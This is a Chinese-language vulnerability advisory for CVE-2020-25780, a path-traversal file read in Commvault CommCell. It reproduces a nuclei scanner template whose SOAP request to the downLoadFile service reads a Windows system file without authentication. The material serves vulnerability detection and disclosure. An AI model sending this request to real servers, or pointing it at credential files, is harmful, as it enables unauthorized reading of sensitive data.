Commvault CommCell Local File Inclusion Vulnerability

漏洞信息

漏洞名称： Commvault CommCell Local File Inclusion Vulnerability

漏洞编号：

• CVE： CVE-2020-25780

漏洞类型： 文件读取

漏洞等级： 高危

漏洞描述： Commvault CommCell是一款广泛使用的企业级数据备份和恢复解决方案，旨在帮助组织保护和管理其关键数据。它通常部署在企业环境中，用于确保数据的可用性和完整性。由于其广泛的应用，CommCell的安全性对许多组织至关重要。该漏洞存在于CommCell的多个版本中，包括14.68之前的版本、15.58之前的15.x版本、16.44之前的16.x版本、17.29之前的17.x版本以及18.13之前的18.x版本。漏洞的根本原因是CommCell在处理文件下载请求时，未能正确验证用户提供的文件路径，导致攻击者可以通过构造特殊的SOAP请求，读取系统上的任意文件。这种类型的漏洞被称为本地文件包含（LFI），它允许攻击者绕过预期的访问限制，访问或读取未授权的文件。成功利用此漏洞的攻击者可以读取系统上的敏感文件，如配置文件、密码文件或其他关键数据，从而可能导致信息泄露或其他更严重的安全问题。由于此漏洞可以通过网络远程利用，且不需要用户交互或认证，因此其潜在影响较大。企业应立即应用Commvault提供的最新安全补丁或更新，以修复此漏洞并保护其系统免受攻击。

产品厂商： commvault

产品名称： commcell

影响版本： before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13

来源： https://github.com/projectdiscovery/nuclei-templates/blob/64a64b0937e369fef2cb769b4e48757616ecce15/http%2Fcves%2F2020%2FCVE-2020-25780.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2020-25780

info:
  name: Commvault CommCell - Local File Inclusion
  author: pdteam, NaN@korelogic
  severity: high
  description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability.
  reference:
    - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html
    - http://kb.commvault.com/article/63264
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25780
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25780
    cwe-id: CWE-22
    epss-score: 0.41514
    epss-percentile: 0.97268
    cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: commvault
    product: commcell
  tags: cve,cve2020,commvault,lfi

http:
  - method: POST
    path:
      - "http://{{Host}}:{{Port}}/SearchSvc/CVSearchService.svc"

    body: |
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
         <soapenv:Header/>
         <soapenv:Body>
            <tem:downLoadFile>
               <tem:path>c:/Windows/system.ini</tem:path>
            </tem:downLoadFile>
         </soapenv:Body>
      </soapenv:Envelope>

    headers:
      Cookie: Login
      soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile
      content-type: text/xml

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "downLoadFileResult"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fbd4f2a465f1231e1ecb2f0730dcc184b1fe559aac2bf8ac19636f5dcf3c24a502201a82b6e695b2eafa62222aa1338fe7db5748bcbcda53d47551e49bc953433bde:922c64590222798bb761d5b6d8e72950